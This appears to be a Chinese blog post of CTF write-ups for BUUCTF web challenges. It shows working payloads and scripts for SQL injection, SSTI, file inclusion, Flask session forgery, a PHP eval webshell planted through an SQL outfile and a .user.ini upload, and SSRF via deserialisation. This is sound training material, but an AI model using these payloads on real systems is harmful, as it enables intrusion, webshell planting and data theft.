本文记录BUUCTF上Web部分2020年之前题目。其他BUUCTF的题目参见文末的链接。
$[timeformat('2019-10-24T11:55:44+08:00')]
#CTF#Web

[HCTF 2018]WarmUp

根据源代码里的提示,打开source.php,看到代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

1

访问白名单里的hint.php,看到以下提示:

2

由源码知道,传入file参数,需要截取第一个问号之前的路径满足白名单要求,故在参数里添加?并用../跳目录进行文件包含。payload如下:

3

[强网杯 2019]随便注

4

先嘲讽一句...

5

经尝试,过滤了很多关键字,但可以使用堆叠注入。

6

1';show databases;#

7

1';show tables;#

8

这里学到一个新知识点:预处理命令。

//预定义SQL语句
PREPARE sqla from '[my sql sequece]';
//执行预定义SQL语句
EXECUTE sqla;
//删除预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;

预定义语句也可以通过变量进行传递:

//存储表名
SET @tn = 'hahaha';
//存储SQL语句
SET @sql = concat('select * from ', @tn);
//预定义SQL语句
PREPARE sqla from @sql;
//执行预定义SQL语句
EXECUTE sqla;

根据刚才得到的表名,构造payload:

?inject=1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

第二种:

#?inject=1';set @sql=select flag from supersqli.1919810931114514;PREPARE stmt FROM @sql;EXECUTE stmt;#
#将@sql的值hex编码
?inject=1';set @sql=0x73656C65637420666C61672066726F6D20737570657273716C692E31393139383130393331313134353134;PREPARE stmt FROM @sql;EXECUTE stmt;#

9

后来看到有大佬利用命令执行获得flag...Orz

/?inject=';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

先查看了用户为root,然后利用concat拼接和char(46)绕过select和.的检测,将一句话写入网站根目录(根目录为猜测,通常在此目录下),再访问webshell执行命令。

[护网杯 2018]easy_tornado

访问三个文件:

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

学到一个新的注入类型:服务器模板注入 (SSTI ) 。

举个例子:

from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def hello_ssti():
    person = {
        'name': 'hello',
        'secret': '7d793037a0760186574b0282f2f435e7'
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    template = '<h2>Hello %s!</h2>' % person['name']
    return render_template_string(template, person=person)
if __name__ == "__main__":
    app.run(debug=True)

一个简单的flask的Web应用程序。运行代码,本地访问"http://127.0.0.1:5000/login",显示如下结果:

10

访问"http://127.0.0.1:5000/login?name=bob",显示如下结果:

11

如果攻击者访问

http://127.0.0.1:5000/login?name=bob{{person.secret}}

会发现除了显示了 Hello bob!之外,连同密钥也一起被显示了。

12

访问

http://127.0.0.1:5000/login?name={{%20config%20}}

会发现服务器的配置显示在页面中了:

13

修改flask代码即刻修复:

template = '<h2>Hello %s!</h2>' % person['name']
#修改为:
template = '<h2>Hello {{ person.name }}!</h2>'

此时访问

http://127.0.0.1:5000/login?name={{%20config%20}}

就不会显示服务器的敏感信息了。

14

回到这个题目,由某位大佬的一篇日志可知,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,其中:

  • handler: the current RequestHandler object
  • RequestHandler.settings:
    An alias for self.application.settings.

所以,handler.settings指向RequestHandler.application.settings。

访问http://e5bb0fdf-7e36-4590-baa8-fb3453beaeb2.node3.buuoj.cn/error?msg={{handler.settings}},得到cookie_secret:

15

接下来写个python生成访问flag文件的链接:

import hashlib
def md5_generate(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()
if __name__ == "__main__":
    cookie_secret = '4b260ce3-4283-44d0-8af9-51c19ca6c861'
    file_name = '/fllllllllllllag'
    url = 'http://55e5de47-bcbf-46a8-a014-c79336169805.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash='
    print(url + md5_generate(cookie_secret + md5_generate(file_name)))

16

17

[强网杯 2019]高明的黑客

下载www.tar.gz解压得到一堆php文件,随便打开几个可以看出这些都是webshell,但估计只有一个能用,写个python批量识别里面的所有key,并依次尝试命令执行,执行成功的就是能用的shell。

import os
import re
import queue
import requests
import threading
def find_param(file_name):
    with open(path + file_name, 'r') as f:
        text = f.read()
        try:
            req = re.findall(r"= \$_GET\['(.*?)'] \?\?", text)
            for r in req:
                dic = {}
                dic['file_name'] = file_name
                dic['key'] = r
                params.append(dic)
        except Exception as identifier:
            pass
def request_test(q):
    while True:
        i = q.get()
        file_name = params[i]['file_name']
        key = params[i]['key']
        url1 = url + file_name + '?' + key + '=echo%20"otuki"'
        req = requests.get(url1).text
        if req.find('otuki') != -1:
            print(file_name + '?' + key + ' is the shell!')
    return
if __name__ == "__main__":
    path = './src/'
    files = os.listdir(path)
    url = 'http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/'
    params = []
    threads = []
    thread_num = 10
    for file in files:
        find_param(file)
    print("共" + str(len(params)) + "个key!")
    q = queue.Queue()
    for i in range(len(params)):
        q.put(i)
    for i in range(thread_num):
        t = threading.Thread(target=request_test,
                             args=(q, ),
                             name="child_thread_%s" % i)
        threads.append(t)
    for t in threads:
        t.start()
    for t in threads:
        t.join()

18

然后访问“http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag”,查看flag:

19

[SUCTF 2019]EasySQL

fuzz了一顿,过滤了很多关键字,但没过滤select、from。参考大佬writeup,学到一个新姿势:sql_mode=PIPES_AS_CONCAT。这条语句意思是把管道符当作字符串链接符处理。

而源码里是这样写的(别问为什么知道源码...):

select $post['query']||flag from Flag

构造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

这样和源代码拼接就成了:

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
#即
select 1flag from Flag

20

[HCTF 2018]admin

随便注册个用户登录进去:

21

源码里提示你不是admin:

22

然后打开修改密码界面,发现源码里有提示:

23

找到题目源码,开始代码审计。直接看index.html页面:

24

可以看到需要以admin身份登录才会显示flag。

关于这道题目网上有多种解法,这里记录两种:

解法一:flask session 伪造

flask的session是存储在客户端cookie中的,我们通过伪造admin用户的cookie从而达到目的。

#cookie
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWiYXcbu1tnUUqmJb8b_v4IKn8PLCx3t5wHbfV5cDzK_9rZrBtvmF-QM-fmAOwqtRtFHE6SDFukEuE2zre8Z5hBon1CYRXQ6ocoXKjOTSgNr10U6bjrgOUW861OlABQ7CaUj8dUS2Ay1NkmkTSWtiO5koK2wibuWZXZBxqtDZySob-JlIYfzOhDTlI7IZpN00xCYWrgOavh0p6_N8LuA5g_LS77fXc1ed3hVImQSVHW2bh9mSDv489jqyBca4XDth6kSjIkdHW0hj1Wqk--KFa9yurt4kHyFH8--cds4bcL7eugZmcLtU_etvEAbw_AM3Wmnx.Xbfatw.ZnNPvaIVy9lE6GZ-LabIYHqJ5Q8

从config.py里也找到了secret_key:ckj123

25

从网上找了个加解密flask session的脚本:

import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
                session_cookie_structure = dict(
                    ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
                    data = payload.split(".")[0]
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
                    return data
                else:
                    app = MockApp(secret_key)
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
                session_cookie_structure = dict(
                    ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
                    data = payload.split(".")[0]
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
                    return data
                else:
                    app = MockApp(secret_key)
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help',
                                       dest='subcommand')
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s',
                               '--secret-key',
                               metavar='<string>',
                               help='Secret key',
                               required=True)
    parser_encode.add_argument('-t',
                               '--cookie-structure',
                               metavar='<string>',
                               help='Session cookie structure',
                               required=True)
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s',
                               '--secret-key',
                               metavar='<string>',
                               help='Secret key',
                               required=False)
    parser_decode.add_argument('-c',
                               '--cookie-value',
                               metavar='<string>',
                               help='Session cookie value',
                               required=True)
    ## get args
    args = parser.parse_args()
    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

解出session:

{'_fresh': True, '_id': b'e22d46511ebb179280957033049d713e63d26a462ec5d58505d0115c1e1550e1614d9847f48c479f9fb70949162f3cf42f9ed4945752141f5b548e8471f7f090', 'csrf_token': b'7d93f2b558ca7f83f7ac80bfe3dd366ceafbcb27', 'image': b'CST1', 'name': 'otuki', 'user_id': '10'}

将'name'字段修改为admin,再进行加密,得到伪造的cookie:

.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWjIXcWutbR0XqmJb8b_v4IKn8PLCx3t5wPbQV5cjzK_9rZrBttnD_AEfPzAHy6vRaqOI08EW6wa5TLCt7xnnEWqcUJvE6nJAlStUZiSXBtSuTzJtOuI6RL3pUKcDFThYTkPirxOyDLQ0SaZNZFsTy2SirJDEupVndkHGqUInkygJ_ExsYfzOhDTlI7IZbLtpiE1suQ5o-nakxOf5XMBzBuWlP2yvv111flcgZRJUMkqbh9mSjv489jqSAmNcrp1l6qxGRY5OUthG1Gqk--KFa9yurt4kHyFH8--cd84bsNu75gwzuF2q_vU3CAN4_gE0amnO.XbfjOA.2IC_pij9fKv0xVz_4FOqiNloHeI

修改cookie后刷新页面即可。

26

解法二:Unicode欺骗

通过代码审计,看到注册、登录、修改密码前都会先将用户名进行小写处理,但不是用python自带的lower函数,而是重新写了个strlower,查看函数定义:

27

发现这个函数用到了nodeprep.prepare,而这个方法存在漏洞,它会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。这样我们使用ᴬdmin注册用户并登录,发现已经变成Admin:

28

再进行修改密码操作,实际上是修改的admin账户的密码。之后使用admin登录即可。

[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz测试了一下,过滤了空格,构造payload:

id=(ascii(substr((select(flag)from(flag)),i,1))=96)

当结果为true时,页面如下:

29

写个脚本:

import requests
url = 'http://8e4beaa0-c004-4f05-8026-64dfe732a260.node3.buuoj.cn/index.php'
f = 'Hello, glzjin wants a girlfriend'
flag = ''
for i in range(1, 1024):
    for j in range(32, 128):
        data = {
            "id":
            "(ascii(substr((select(flag)from(flag)),{y},1))={x})".format(y=i,
                                                                         x=j)
        }
        req = requests.post(url, data).text
        if f in req:
            print(chr(j))
            flag += chr(j)
            break
    print(flag)

没有用二分法,效率比较低。

30

[SUCTF 2019]CheckIn

源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

根据源码可知文件数据部分添加图片文件的头即可绕过。先上传一个.user.ini文件,内容如下:

auto_prepend_file=m.jpg

34

再上传一个图片马,因检测“<?”,故使用一下一句话:

<script language='php'>eval($_REQUEST['cmd']);</script>

35

之后使用菜刀等远程shell管理工具连接即可。

36


php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。

37

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.in i文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

38

auto_append_file、auto_prepend_file,点开看看什么意思:

39

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

[RoarCTF 2019]Easy Calc

查看源码:

31

其中,”\(("#content")“相当于”document.getElementById("content");“,“\)("#content").val()”相当于”document.getElementById("content").value;“。

尝试列目录:

?num=1;var_dump(scandir(chr(47)))

发现总是报403。

后来知道这里可以利用php的一个特性。php在查询字符串时,首先做两件事:

  1. 删除空白符
  2. 将某些字符转换为下划线(包括空格)

在num前加入一个空格,就可以让waf找不到num变量,自然无法检测到num变量里的字母。

? num=1;var_dump(scandir(chr(47)))

32

发现可疑文件名f1agg,读取这个文件:

#? num= 1;var_dump(file_get_contents(/flag))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

33

[极客大挑战 2019]EasySQL

直接万能密码即可。

admin' or 1=1 #
1
#或
admin
1' or 1=1#

40

[极客大挑战 2019]Havefun

右键源代码看到:

<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
    echo 'Syc{cat_cat_cat_cat}';
}
-->

get传参即可。

41

[极客大挑战 2019]Secret File

打开第一个页面,源代码里有个链接

42

第二个页面点击红色的按钮,发现快速301到了end.php,使用burp的repeater即可看到secr3t.php。

43

打开看到一段代码:

44

尝试使用php伪协议读文件:

45

得到flag。

46

[网鼎杯 2018]Fakebook

使用nikto扫描目标地址,

47

发现robots.txt

48

访问可发现user.php.bak。通过代码审计可发现user.php中的get方法存在SSRF。

通过查看其他WP,使用御剑扫到了flag.php。

51

先注册一个账户,登录后经尝试发现view页面存在注入,同时得到了绝对路径。

49

尝试使用报错注入,发现过滤了一些关键字,使用以下payload可直接读取flag.php。

/view.php?no=0+uniOn/**/selEct+1,load_file('/var/www/html/flag.php'),3,4%23

50

正常解法应该是通过注入得到数据:

view.php?no=0+uniOn/**/selEct+1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()%23
#users

view.php?no=0+uniOn/**/selEct+1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name='users'%23
#no,username,passwd,data

view.php?no=0+uniOn/**/selEct+1,concat(username,'~',passwd,'~',data),3,4 from users%23
#test~ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff~O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:15:"http://test.com";}

发现只有data字段存储了blog内容,而且是以序列化的形式。只要构造字符串使其查询时反序列化并执行其中的payload即可。通过查看源码发现可以使用file://协议读取文件内容。

function get($url)
{
    #初始化一个cURL会话,供curl_setopt(),curl_exec()和curl_close()函数使用。
    $ch = curl_init();
    #请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值
    curl_setopt($ch, CURLOPT_URL, $url);
    #CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    #curl_exec成功时返回 TRUE,或者在失败时返回 FALSE。然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回FALSE
    $output = curl_exec($ch);
    #curl_getinfo以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if($httpCode == 404) {
        return 404;
    }
    curl_close($ch);
    return $output;
}

构造序列化字符串:

52

最终payload:

http://68b8469a-0224-4eed-bf64-531a5046b709.node3.buuoj.cn/view.php?no=0+uniOn/**/selEct+1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users%23

blog栏显示file:///var/www/html/flag.php时即代表执行成功,查看网页源码得到flag.php通过base64编码后的内容,解码即可。

53


评论